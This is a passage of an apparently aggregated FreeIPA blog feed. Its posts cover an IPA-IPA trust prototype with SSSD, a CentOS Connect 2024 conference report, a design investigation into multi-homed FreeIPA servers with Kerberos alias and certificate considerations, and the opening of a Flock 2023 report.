&lt;code&gt;host/root.some.domain&lt;/code&gt; and that this principal’s operating system object type
is a machine account.&lt;/p&gt;

&lt;p&gt;The extensions also give ability to communicate group membership details and
more information about the account. FreeIPA domain controllers already use
these details to check and map properties of trusted Active Directory domains’
objects. For  native IPA objects we also generate this information. IPA-IPA
trust can rely on these details as well.&lt;/p&gt;

&lt;p&gt;This observation allowed us to start with an experiment. Create a trusted
domain object that represents a trusted IPA domain and see what does not work
and needs a fix to make IPA-IPA trust a reality. We originally thought to
replicate Active Directory infrastructure on IPA domain controller side so that
existing &lt;code&gt;ipa trust-add --type=ad ..&lt;/code&gt; command can be used to establish trust.&lt;/p&gt;

&lt;p&gt;These changes are part of the tree I maintain at
&lt;a href=&quot;https://github.com/abbra/freeipa/tree/wip-ipa-ipa-trust&quot;&gt;my github WIP tree&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;identity-information-retrieval&quot;&gt;Identity information retrieval&lt;/h3&gt;

&lt;p&gt;A part of Active Directory infrastructure that we implemented first was Global
Catalog. Global Catalog is a separate, read-only, LDAP instance that contains a
subset of the information about all Active Directory objects in the forest.
Since FreeIPA LDAP tree uses different LDAP schema and structure than Active
Directory LDAP tree, SSSD’s Active Directory identity provider cannot use
normal FreeIPA LDAP tree as “yet another Active Directory domain’s LDAP tree”.
We imagined that adding support for the Global Catalog (which SSSD is able to
query) would make it possible to query IPA users and groups as “Active
Directory” users and groups.&lt;/p&gt;

&lt;p&gt;We soon found out two issues with this approach. It is not possible to force
SSSD to use Global Catalog exclusively. SSSD uses the primary LDAP tree for
retrieving users’ information and only switches to Global Catalog for
retrieving groups information. Adding support for Global Catalog would not
help: existing Active Directory domain identity provider in SSSD would not be
able to work against a trusted IPA domain anyway. A proper support for trusted
IPA domain in SSSD is needed.&lt;/p&gt;

&lt;p&gt;Here we stumbled upon our next issue. SSSD implementation for IPA domain
provider includes ability to handle all trusts to Active Directory domains that
IPA deployment has. Trusted domains (subdomains, in SSSD speak), in theory, can
come from any trust type. Since IPA has only a trust to Active Directory, SSSD
implementation did not have an infrastructure to handle different types of
subdomains. Instead, a single subdomain type is assumed: any subdomain
discovered is an Active Directory domain. Even if we present IPA-IPA trust as
an Active Directory trust, SSSD would still attempt to use Active
Directory-specific LDAP schema and directory information tree arrangement when
making LDAP queries. IPA users and groups from trusted domains aren’t found
because LDAP server would not match that LDAP query to the IPA LDAP tree and
schema.&lt;/p&gt;

&lt;p&gt;SSSD needed a complete refactoring of the subdomains’ infrastructure to allow
more than one subdomain type to be present. This work is still in progress.
Justin Stephenson from the SSSD team tracks his progress in
&lt;a href=&quot;https://github.com/justin-stephenson/sssd/pull/69&quot;&gt;this WIP pull request&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;demo&quot;&gt;Demo&lt;/h3&gt;

&lt;p&gt;With the refactoring work currently being done by Justin, it is possible to
combine two parts: Global Catalog-based FreeIPA changes from
&lt;a href=&quot;https://github.com/abbra/freeipa/tree/wip-ipa-ipa-trust&quot;&gt;my WIP source tree&lt;/a&gt;
and SSSD changes from
&lt;a href=&quot;https://github.com/justin-stephenson/sssd/pull/69&quot;&gt;Justin’s WIP source tree&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We have these modifications to FreeIPA and SSSD prebuilt in Fedora COPR
repository &lt;code&gt;abbra/wip-ipa-trust&lt;/code&gt;. The packages there work in a specific
environment where two FreeIPA deployments named &lt;code&gt;ipa1.test&lt;/code&gt; and &lt;code&gt;ipa2.test&lt;/code&gt;
because we have so far no way to differentiate trusted IPA deployment from a
trusted Active Directory deployment, thus SSSD hardcodes the names of the IPA
domains to trust.&lt;/p&gt;

&lt;p&gt;A trust between &lt;code&gt;ipa1.test&lt;/code&gt; and &lt;code&gt;ipa2.test&lt;/code&gt; can be established using standard
&lt;code&gt;ipa trust-add&lt;/code&gt; command. This approach allowed us to investigate what is
working or not after the trust link is created. Both FreeIPA and SSSD teams can
also work on validating that specific IPA functionality available to handle
trusted Active Directory users and groups is also working with IPA-IPA trust.&lt;/p&gt;

&lt;p&gt;I recorded &lt;a href=&quot;https://youtube.com/watch/?v=z6o1tj9XUMQ&quot;&gt;a small demo&lt;/a&gt; on Fedora 40:&lt;/p&gt;
&lt;div class=&quot;embed-container&quot;&gt;
 
&lt;/div&gt;

&lt;p&gt;Two administrators establish trust between their environments and then allow
use of resources across the trust. Since the exact details how trust is
established will change, I omitted that step and show pre-created trust entries
along with the ID range details. Only ‘Active Directory trust with POSIX
attributes’ ID range type supported for now. It should not be a problem though
because IPA deployments do provide POSIX information.&lt;/p&gt;

&lt;p&gt;To allow access to IPA API, an administrator of the trusting domain needs to
create ID overrides for user from the trusted domain. Once the overrides are in
place, a user from the trusted domain can issue IPA API calls. In the demo we
do &lt;code&gt;ipa ping&lt;/code&gt; call and show that underlying Kerberos service tickets were
requested and issued.&lt;/p&gt;

&lt;h3 id=&quot;future-work&quot;&gt;Future work&lt;/h3&gt;

&lt;p&gt;Now that we validated the approach, the road splits into two:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;figure out how to get trust established&lt;/li&gt;
  &lt;li&gt;fix remaining bugs to make ‘day two’ operations possible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Establishing trust is an interesting problem. Or two. For pure IPA-IPA trust we
don’t need to provision the same infrastructure as with Active Directory trust:
we don’t need to run Samba on each domain controller to be able to create
trusted domain objects and respond to DCE RPC requests because we don’t use DCE
RPC in SSSD.&lt;/p&gt;

&lt;p&gt;On top of that, FreeIPA has extensive set of passwordless authentication
methods which require use of a FAST channel when obtaining an initial Kerberos
TGT. When trust to Active Directory created, we first authenticate to AD DC to
get a Kerberos TGT of the Active Directory’s administrator. Windows does not
have support for passwordless authentication methods through Kerberos except
for PKINIT (smartcards), so in most cases we deal with password authentication.
If an IPA administrative account is using passwordless method to authenticate,
we first have to create a FAST channel or a trusted-to-be domain controller
will not even expose supported pre-authentication methods. Any existing
Kerberos ticket could be used to create the FAST channel but it must be from
the trusted domain and we don’t have trust yet. In our own domain we can use a
machine account (on a particular machine) or an Anonymous PKINIT to create the
FAST channel. For a trusted-to-be domain we have to trust the CA who issued
PKINIT certificates to their KDC. And KDCs might be accessible through a HTTPS
proxy (MS-KKDCP protocol). This means some kind of pre-trust exchange needed to
make sure we can authenticate against their KDCs successfully.&lt;/p&gt;

&lt;p&gt;Also, we have no idea what exact pre-authentication methods will be available
to the user. Practically, we only care about being able to authenticate to the
trusted domain’s IPA API and then use that connection to set things up. For
this it would be enough to authenticate to the trusted-to-be domain’s IPA API
endpoint, save received cookies and use them. This method wouldn’t support
passwordless authentication either, except an OTP method. FIDO2 and external
IdP (OAuth2) authentication aren’t yet directly supported in IPA web UI and IPA
API end-points.&lt;/p&gt;

&lt;p&gt;With all those complications, we look at enabling OAuth2-based authentication
and authorization endpoints in IPA first. We then can use them to request a
token from a trusted-to-be domain’s OAuth2 endpoint and use it to establish the
trust. A remote domain controller will handle the authentication of their users
and will be able to supply all required details: trusted CA chains, ID ranges,
scopes for authentication/ID mapping, etc.&lt;/p&gt;

&lt;p&gt;And the OAuth2 endpoint will allow us to handle own passwordless authentication
methods for IPA Web UI and applications on the enrolled systems like Cockpit
which will be able to delegate to IPA for the user login.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">CentOS Connect 2024 report</title>
		<link href="https://vda.li/en/posts/2024/02/13/CentOS-Connect-report/"/>
		<id>https://vda.li/en/posts/2024/02/13/CentOS-Connect-report/</id>
		<updated>2024-02-13T07:25:00+00:00</updated>
		<content type="html">&lt;p&gt;February 1st-4th I participated in two events in Brussels: CentOS Connect and
FOSDEM. FOSDEM is getting closer to its quarter a century anniversary next
year. With 67 mini-conferences and another 30 events around it, it is
considered one of the largest conferences in Europe, any topic included. This
report is about CentOS Connect.&lt;/p&gt;

&lt;h2 id=&quot;centos-connect&quot;&gt;CentOS Connect&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://connect.centos.org&quot;&gt;CentOS Connect&lt;/a&gt; was a two-day event preceding
FOSDEM. Organized by the CentOS project, it brought together contributors from
multiple projects around CentOS Stream upstreams (such as Fedora Project) and
downstreams (from Red Hat Enterprise Linux, AlmaLinux, Rocky Linux, and
others), long-time users and community members. A lot of talks were given on
both days and several special interest groups (SIGs) ran their workshops on the
first day.&lt;/p&gt;

&lt;h2 id=&quot;centos-integration-sig&quot;&gt;CentOS Integration SIG&lt;/h2&gt;

&lt;p&gt;I have attended a workshop organized by the CentOS Integration SIG. The focus
of this group is to define and run integration tests around CentOS Stream
delivery to the public. While CentOS Stream composes are built using the
messages on how RHEL next minor version is composed after being thoroughly
tested by Red Hat’s quality engineering group, there is a value in testing
CentOS Stream composes by other community members independently as their use
cases might differ. Right now the set of tests is defined as a &lt;code&gt;t_functional&lt;/code&gt;
suite maintained by the CentOS Core SIG but this suite is not enough for the
complex scenarios.&lt;/p&gt;

&lt;p&gt;The Integration SIG is looking at improving the situation. Two projects were
present and interested in this work: RDO (RPM-based distribution of OpenStack)
and RHEL Identity Management. Both teams have to deal with coordinated package
deliveries across multiple components and both need to get multi-host
deployments tested. RDO can be treated as a product built on top of CentOS
Stream where its own RDO deliveries are installed on top of CentOS Stream
images. RHEL Identity Management (IdM), on the other hand, is a part of RHEL.
It is famously known as a ‘canary in the RHEL mine’ (thanks to Stephen
Gallagher’s being poetic a decade ago): if anything is broken in RHEL, chances
are it will be visible in RHEL IdM testing. With RHEL IdM integration scope
expanding to provide passwordless desktop login support, this becomes even more
important and also requires multi-host testing.&lt;/p&gt;

&lt;p&gt;CentOS Integration SIG’s proposal to address these requirements is interesting.
Since CentOS Stream compose event is independent of the tests, a proposal by
Aleksandra Fedorova and Adam Samalik is to treat the compose event in a way
similar to a normal development workflow. Producing CentOS Stream compose would
generate a merge request of a metadata associated with it to a particular git
repository. This merge request then can be reacted to by the various bots and
individuals. Since CentOS Stream compose is public, it is already accessible to
third-party developers to run their tests and report back the results. This way
qualification of the compose promotion to CentOS Stream mirrors can be affected
by all parties and will help to keep already published composes in a
non-conflicting state.&lt;/p&gt;

&lt;p&gt;Since most of the projects involved already have their own continuous
integration systems, adding another trigger for those would be trivial. For
RHEL IdM and its upstream components (FreeIPA, SSSD, 389-ds, Dogtag PKI, etc.)
it would also be possible finally to react to changes to CentOS Stream well
ahead of time too. In the past this was complicated by a relative turbulence in
the CentOS Stream composes early in RHEL next minor release development time
when everybody updates their code and stabilization needs a lot of
coordination. I am looking forward to Aleksandra’s proposal to land in the
Integration SIG’s materials soon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Aleksandra has published her proposal at the &lt;a href=&quot;https://discussion.fedoraproject.org/t/centos-connect-follow-up-proposal-for-the-git-interface-to-the-compose-gate/104981&quot;&gt;Fedora Discussion board&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;centos-stream-and-epel&quot;&gt;CentOS Stream and EPEL&lt;/h2&gt;

&lt;p&gt;Two talks, by Troy Dawson and Carl George, described the current state of EPEL
repository and its future interactions with CentOS 10 Stream. Troy’s discussion
was fun, as usual: a lot of statistics obtained from the DNF repository
trackers shows that old habits are hard to get rid off and moving forward is a
struggle to many users despite security and supportability challenges with
older software. Both CentOS 7 and CentOS 8 Stream end of life dates are coming
in 2024, adding enough pressure themselves to that.&lt;/p&gt;

&lt;p&gt;There are interesting statistics from the EPEL evolution. In August 2023 at
Flock to Fedora conference Troy and Carl pointed out that 727 packagers
maintained 7298 packages in EPEL 7, 489 packagers handled 4968 packages in EPEL
8, and 396 packagers were handling 5985 packages in EPEL 9. Half a year later
we have 7874 packages in EPEL 7, 5108 packages in EPEL 8, and 6868 packages in
EPEL 9. Pace seems to pick up EPEL 9 with upcoming end of life dates for older
versions. Since soon only EPEL 9 and EPEL 10 would be actively built, there are
probably more packagers that would be active in them as well.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2024-centos-connect/epel-packages-800-2bb1c63e5.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;EPEL 10 is coming soon. It will bring a slight difference in package suffixes
and overall reduction of complexity to packagers. It is great to see how close
EPEL work tracks to ELN activities in Fedora. One thing worth noting is that
every Fedora package maintainer is a potential EPEL maintainer as well because
EPEL reuses Fedora infrastructure for package maintenance. Even if someone is
not maintaining EPEL branches on their Fedora packages (I am not doing that
myself – my packages are mostly in RHEL), it allows easy jump-in and
collaboration. After all, if packages aren’t in RHEL but are in Fedora, their
EPEL presence is just one git branch (and Fedora infrastructure ticket) away.&lt;/p&gt;

&lt;h2 id=&quot;20-years-of-centos-project&quot;&gt;20 years of CentOS project&lt;/h2&gt;

&lt;p&gt;First day of the CentOS Connect event ended with a party to celebrate 20 years
of the CentOS Project. First release (“CentOS version 2”) went out on May 14th,
2004 but since CentOS Connect is the closest big event organized by the project
this year, getting a lot of contributors together to celebrate this anniversary
seemed appropriate. A huge cake was presented, so big that it wasn’t possible
to consume it completely during the party. It was delicious (like a lot of
Belgian chocolate!) and next day coffee breaks allowed me to enjoy it a lot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://vda.li/en/img/resized/2024-centos-connect/centos-20y-cake-800-92c46ff66.jpg&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;freeipa-and-centos-project-infrastructure&quot;&gt;FreeIPA and CentOS project infrastructure&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://talks.vda.li/talks/2024/CentOS-Connect-Discuss-Your-FreeIPA.pdf&quot;&gt;My own talk&lt;/a&gt; was originally planned to gather feedback from all projects which
build on top of CentOS as they use a very similar infrastructure. CentOS
Project infrastructure is shared with Fedora Project which is built around
FreeIPA as a backend and Noggin as a user management frontend. I asked in
advance for some feedback from Fedora, CentOS, AlmaLinux, and RockyLinux
infrastructure teams and haven’t gotten that much which prompted my own
investigation. It is not an easy job since most organizations aren’t really
interested in telling the world details of their core infrastructure. Hope was
that I’d be able to see real world usage and maybe take some lessons from it
back to the development teams.&lt;/p&gt;

&lt;p&gt;While working on my talk, we also experienced an outage in Fedora
infrastructure related to the upgrade of the FreeIPA setup used there. My team
has been helping Fedora infrastructure administrators so I finally got the
feedback I was looking for. That led to several fixes upstream and they have
recently been backported to RHEL and CentOS Stream as well. However, the
overall lack of feedback is concerning – or at least I thought so.&lt;/p&gt;

&lt;p&gt;During CentOS Connect I had the opportunity to discuss this with both AlmaLinux
(Jonathan) and RockyLinux (Luis) projects’ sysadmins. “It just works” is a common
response I get. Well, that’s nice to hear but what was more exciting to hear is
that these projects went a bit further than we did in Fedora and CentOS Stream
with their environments. Luis &lt;a href=&quot;https://talks.vda.li/talks/2024/CentOS-Connect-Discuss-Your-FreeIPA.pdf&quot;&gt;has published the whole RockyLinux infrastructure&lt;/a&gt;
code responsible for FreeIPA deployment. It is based heavily on
ansible-freeipa, reuses the same components we developed for Fedora
Infrastructure. Rocky also runs FreeIPA tests in OpenQA instance, similarly to
Fedora, and hopefully Luis would contribute more tests to cover passwordless
login, already available in CentOS Stream. This would be a very welcome
contribution in the light of the Integration SIG activities, helping us to test
more complex scenarios community-wide. AlmaLinux infrastructure also uses
ansible-freeipa but the code is not publicly available, for whatever reason.
Jonathan promised to rectify this problem.&lt;/p&gt;

&lt;h2 id=&quot;hallway-tracks&quot;&gt;Hallway tracks&lt;/h2&gt;

&lt;p&gt;I had a number of discussions with people from all kinds of CentOS communities.
FreeIPA sits at a unique position by providing secure infrastructure to run
POSIX workloads and linking it with modern requirements to web authentication.
Our effort to improve passwordless login to Linux environments with reuse of
Kerberos to propagate authorization state across multiple machines helps to
solve the ‘between the worlds’ problems. That is something that many academic
institutions have noticed already and many talks I had in the hallways were
related to it.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Interoperability of RHEL 7/8/9 IdM server and RHEL 7/8/9 IdM client</title>
		<link href=""/>
		<id>http://floblanc.wordpress.com/?p=1730</id>
		<updated>2023-08-23T09:34:31+00:00</updated>
		<content type="html">As their IdM deployment expands over time with the addition of new IdM clients or new IdM servers and replicas, customers often have a mixed topology containing various RHEL versions. This blog post describes the version requirements and limitations that can be seen in these mixed topologies. General version requirements In the general case, it &amp;#8230; &lt;a href=&quot;https://floblanc.wordpress.com/2023/08/23/interoperability-of-rhel-7-8-9-idm-server-and-rhel-7-8-9-idm-client/&quot; class=&quot;more-link&quot;&gt;Continue reading &lt;span class=&quot;screen-reader-text&quot;&gt;Interoperability of RHEL 7/8/9 IdM server and RHEL 7/8/9 IdM client&lt;/span&gt; &lt;span class=&quot;meta-nav&quot;&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</content>
		<author>
			<name>Florence Blanc-Renaud</name>
			<uri>https://floblanc.wordpress.com</uri>
		</author>
		<source>
			<title type="html">FreeIPA – Florence Blanc-Renaud's technical spot</title>
			<subtitle type="html">Sharing knowledge on Identity Management</subtitle>
			<link rel="self" href="https://floblanc.wordpress.com/tag/freeipa/feed/"/>
			<id>https://floblanc.wordpress.com/tag/freeipa/feed/</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Multi-homed FreeIPA server investigation</title>
		<link href="https://vda.li/en/posts/2023/08/16/Support-multi-homed-FreeIPA-Server/"/>
		<id>https://vda.li/en/posts/2023/08/16/Support-multi-homed-FreeIPA-Server/</id>
		<updated>2023-08-16T07:04:00+00:00</updated>
		<content type="html">&lt;p&gt;Once in a while people come and ask for FreeIPA servers to work in multi-homed
environments. A multi-homed environment in this context is a deployment where
the same server is accessible through multiple network interfaces which connect
together networks which are not routable to each other. This is typical for
administrative and operational networks but there are other types of
environments which employ disconnected networks for their operations. FreeIPA
server right now has a single host name that resolves to the same IP address in
all networks and if one cannot reach the server through that IP address, access
to IPA server would not be possible. This typically assumes use of unicast
networking as well.&lt;/p&gt;

&lt;p&gt;A solution many people look for is to be able to access IPA servers by their
interface-specific addresses. Since all secure communication over HTTPS and other
protocols (LDAP, Kerberos, etc.) uses name-based resolution in the first place,
use of different host names is implied. For example, if FreeIPA is deployed at
DNS domain &lt;code&gt;example.test&lt;/code&gt;, it would be using Kerberos realm &lt;code&gt;EXAMPLE.TEST&lt;/code&gt; and
then the original IPA server would be deployed at a host named
&lt;code&gt;ipa.example.test&lt;/code&gt; (the server host name is not that important here, rather the
fact that is is an individual host name). Let’s look at possible communications
with this server in a non-multihomed environment first.&lt;/p&gt;

&lt;h2 id=&quot;single-homed-environment&quot;&gt;Single-homed environment&lt;/h2&gt;

&lt;p&gt;An IPA client uses HTTPS to communicate with IPA management API, SSSD on the
IPA client would use LDAP(S) and Kerberos protocols. In both HTTPS and LDAP(S)
cases TLS negotiation would force checking server TLS certificate correctness.
A hostname of the host we connect to (&lt;code&gt;ipa.example.test&lt;/code&gt;) would have to be
present as a dNS SAN record in the TLS certificate presented by the IPA server.&lt;/p&gt;

&lt;p&gt;In Kerberos protocol case a different mechanism is used. Yet, Kerberos KDC must
know the name of the service principal that a client is asking a service ticket
for. If the client wants to acquire a service ticket to
&lt;code&gt;ldap/ipa.example.test@EXAMPLE.TEST&lt;/code&gt;, this service principal must exist in the
Kerberos database that KDC is looking up at.&lt;/p&gt;

&lt;h2 id=&quot;multi-homed-environment&quot;&gt;Multi-homed environment&lt;/h2&gt;

&lt;p&gt;There are multiple ways of exposing a single hostname in multi-homed
environment but they generally involve use of DNS views specific to the
individual networking. In such cases DNS serves visible to clients in one
network would resolve &lt;code&gt;ipa.example.test&lt;/code&gt; to an IP address in that specific
network. FreeIPA DNS integration does not support DNS views; this means any of
DNS manipulations would have to be done externally to FreeIPA. This is, of
course possible, but it really is not then different from a single-homed
environment from FreeIPA perspective.&lt;/p&gt;

&lt;p&gt;Thus, we would have to have not a single &lt;code&gt;ipa.example.test&lt;/code&gt; hostname but for
each independent network’s address present on the IPA server a different host
name must be present. Let’s assume these are &lt;code&gt;ipa1.example.test&lt;/code&gt; and
&lt;code&gt;ipa2.example.test&lt;/code&gt;. Had we not done this split and simply added multiple
addresses for the same &lt;code&gt;ipa.example.test&lt;/code&gt; name, clients might resolve the name
to an IP address which they could not reach through their own networking routing.&lt;/p&gt;

&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;

&lt;p&gt;Immediately we get a set of requirements here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;TLS certificates issued by IPA CA for HTTPS and LDAP(S) use on IPA server
must include dNS SAN records for each hostname represented by the
multi-homed server.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Kerberos principals for at least LDAP (&lt;code&gt;ldap/&lt;/code&gt;), HTTP (&lt;code&gt;HTTP/&lt;/code&gt;), and the
system (&lt;code&gt;host/&lt;/code&gt;) service principals must have aliases for all multi-homed
hostnames.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The latter requirement means that if &lt;code&gt;ipa1.example.test&lt;/code&gt; is the primary name,
then &lt;code&gt;ldap/ipa1.example.test&lt;/code&gt; should have an alias of &lt;code&gt;ldap/ipa2.example.test&lt;/code&gt;,
&lt;code&gt;HTTP/ipa1.example.test&lt;/code&gt; should have an alias of &lt;code&gt;HTTP/ipa2.example.test&lt;/code&gt;, and
&lt;code&gt;host/ipa1.example.test&lt;/code&gt; should have an alias of &lt;code&gt;host/ipa2.example.test&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The same would apply to any other service hosted on IPA server: SMB (&lt;code&gt;cifs/..&lt;/code&gt;)
or DNS services would need those aliases as well. However, this is not enough.&lt;/p&gt;

&lt;h2 id=&quot;implementation-considerations&quot;&gt;Implementation considerations&lt;/h2&gt;

&lt;h3 id=&quot;hostname-aliases&quot;&gt;Hostname aliases&lt;/h3&gt;
&lt;p&gt;FreeIPA does additional checks when issuing certificiates prior to passing the
request to the Dogtag CA that is integrated into FreeIPA. For hosts and
services on those hosts we also check whether a requestor is granted to issue
these certificates. In FreeIPA terms, a host &lt;code&gt;ipa1.example.test&lt;/code&gt; would be
allowed to issue certificates with dNS SAN record of &lt;code&gt;ipa2.example.test&lt;/code&gt; if a
host object of &lt;code&gt;ipa1.example.test&lt;/code&gt; manages the host object &lt;code&gt;ipa2.example.test&lt;/code&gt;
in FreeIPA.&lt;/p&gt;

&lt;p&gt;Here lies our first problem. A host object in FreeIPA represents the host
principal in Kerberos, &lt;code&gt;host/ipa1.example.test&lt;/code&gt;. If we created two host
objects, &lt;code&gt;ipa1.example.test&lt;/code&gt; and &lt;code&gt;ipa2.example.test&lt;/code&gt;, then they cannot be
aliases to each other on Kerberos level because they’d be two completely
different objects from FreeIPA perspective.&lt;/p&gt;

&lt;p&gt;Perhaps, we can avoid creating two different host objects? DNS records for
hosts are different from the host objects themselves, we only need to have
different IP addresses for the hostnames represented by these host entries, not
the host entries themselves. May be we could mark one hostname an alias of the
other host object?&lt;/p&gt;

&lt;p&gt;On Kerberos level FreeIPA does have Kebreros principal name aliasing already.
However, it does not exist for hosts as this task has never appeared in past. We
would need to add a way to add multiple names to the host object. One way to
achieve that is to rely on the fact that &lt;code&gt;fqdn&lt;/code&gt; LDAP attribute is multi-valued.
Unfortunately, it is also enforced to be a primary key in IPA API – while the
underlying LDAP attribute is a multi-valued one, IPA API will enforce its single
value:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;$ ipa host-mod ipa1.example.test --addattr fqdn=ipa2.example.test
ipa: ERROR: fqdn: Only one value allowed.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This happens because in IPA API any parameter which could be a multi-valued one
should explicitly set &lt;code&gt;multivalue=True&lt;/code&gt; in its definition. We probably would
need to change the multi-valued state for &lt;code&gt;fqdn&lt;/code&gt; parameter:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;...
        Str('fqdn', hostname_validator,
            cli_name='hostname',
            label=_('Host name'),
            primary_key=True,
            normalizer=normalize_hostname,
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;      multivalue=True,
        ),
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and review countless places where its single value is assumed through the code,
like in the &lt;code&gt;resolve_fqdn()&lt;/code&gt; helper below. LDAP does not guarantee a particular
order of returned values for the multi-valued attributes. From LDAP protocol
point of view they all equal, there is no particular order.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def resolve_fqdn(name):
    hostentry = api.Command['host_show'](name)['result']
    return hostentry['fqdn'][0]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;An alternative would be to introduce a separate attribute purely for the
hostname alias management. We don’t need to use it anywhere else at Kerberos
level because there we use Kerberos-specific attributes to handle Kerberos
principal names and aliases.&lt;/p&gt;

&lt;h3 id=&quot;ldap-access-controls&quot;&gt;LDAP Access Controls&lt;/h3&gt;

&lt;p&gt;A big part of the FreeIPA access control mechanism relies on 389-ds LDAP server
access control interface. Permissions and roles in FreeIPA effectively define a
set of ACIs for 389-ds to check access rights. IPA servers verified to be
present in certain resource groups (like &lt;code&gt;cn=masters,cn=ipa,cn=etc,$BASEDN&lt;/code&gt;).
For host aliases this means they should be present in the same groups to be able
to operate as their own entities when checking permissions. This is important
for internal logic in IPA LDAP plugins and in KDC driver. For the cases when
authentication would be done via GSSAPI a resulting Kerberos principal will be
normalized to he primary name of the system anyway.&lt;/p&gt;

&lt;h3 id=&quot;certificate-issuance&quot;&gt;Certificate issuance&lt;/h3&gt;

&lt;p&gt;Issuing a certificate is a whole separate topic which still awaits its write
up. An abridged version of it can be found in &lt;a href=&quot;https://lists.fedorahosted.org/archives/list/freeipa-users@lists.fedorahosted.org/message/7NAZ2AT7FXXVBL42DTKJHCUQNOJBZB27/&quot;&gt;my freeipa-users@ mailing list
response&lt;/a&gt;
from May 2022. I need to turn that into a proper document one day.&lt;/p&gt;

&lt;p&gt;From the perspective of aliases, we would need to teach the certificate request
processing code to look at the host and service aliases when validating SAN
records.&lt;/p&gt;

&lt;h3 id=&quot;installer-integration&quot;&gt;Installer integration&lt;/h3&gt;

&lt;p&gt;There are two approaches to setting up this multi-homed environment. We can
provide all information upfront or we can add a tool that adds individual
aliases after deployment. This would mean to (re-)generate certificates, create
host aliases and services, create configuration snippets and other details which
are required to handle multiple host names for the same host from different
networks.&lt;/p&gt;

&lt;p&gt;The after-deployment case would cause re-issuance of certificates. For external
CA providers it could be handled with existing tool that allows to replace
existing TLS certificates with externally provided ones. We need to create a
checker to verify that all required dNS SAN names were added and are available.
In general, troubleshooting this environment would be non-trivial so a special
module for &lt;code&gt;ipa-healthcheck&lt;/code&gt; definitely would help.&lt;/p&gt;

&lt;h2 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h2&gt;

&lt;p&gt;Multi-homed environments are hard to automate as many assumptions aren’t
actually known to us. They are partly implicit to system and network
administrator’s work and cannot be derived merely from the system state. It
means administrators would need to aid IPA installers with an information. At
this point, it is unclear how to structure this information and which of it
going to be useful enough. In contemporary Linux environments you might have
DNS resolution depend on a specific network interface thanks to
&lt;code&gt;systemd-resolved&lt;/code&gt; or VPN connection properties. We might not have that
information for introspection in advance. While automatically issuing
certificates with required names to cover multi-homed setup is not going to be
easy, writing down requirements for external CAs and verifying those
certificates before applying them at the second stage of external CA enrollment
would further complicate things.&lt;/p&gt;

&lt;p&gt;All these problems could be solved, of course. Prioritization of this work
against other, more urging tasks, is what we need to figure first…&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Flock to Fedora 2023 report</title>
		<link href="https://vda.li/en/posts/2023/08/11/Flock-report/"/>
		<id>https://vda.li/en/posts/2023/08/11/Flock-report/</id>
		<updated>2023-08-11T10:46:00+00:00</updated>
		<content type="html">&lt;p&gt;On August 2nd-4th, 2023, Fedora Project ran its annual contributors conference, &lt;a href=&quot;https://flocktofedora.org&quot;&gt;Flock to Fedora&lt;/a&gt;, in Cork, Ireland. After a previous successful Flock in 2019 in Budapest, Fedora contributors did not meet in person due to rough pandemia years and had created Nest with Fedora online event instead. Nest ran for three years but online meetings aren’t a full replacement for face to face collaboration. Cork’s Flock was supposed to combine both online and offline events together.&lt;/p&gt;

&lt;p&gt;I have been attending and presenting at various Flock and Nest events over past seven years. I was looking forward to see and collaborate with many other project participants and users and get to know new people as well.&lt;/p&gt;

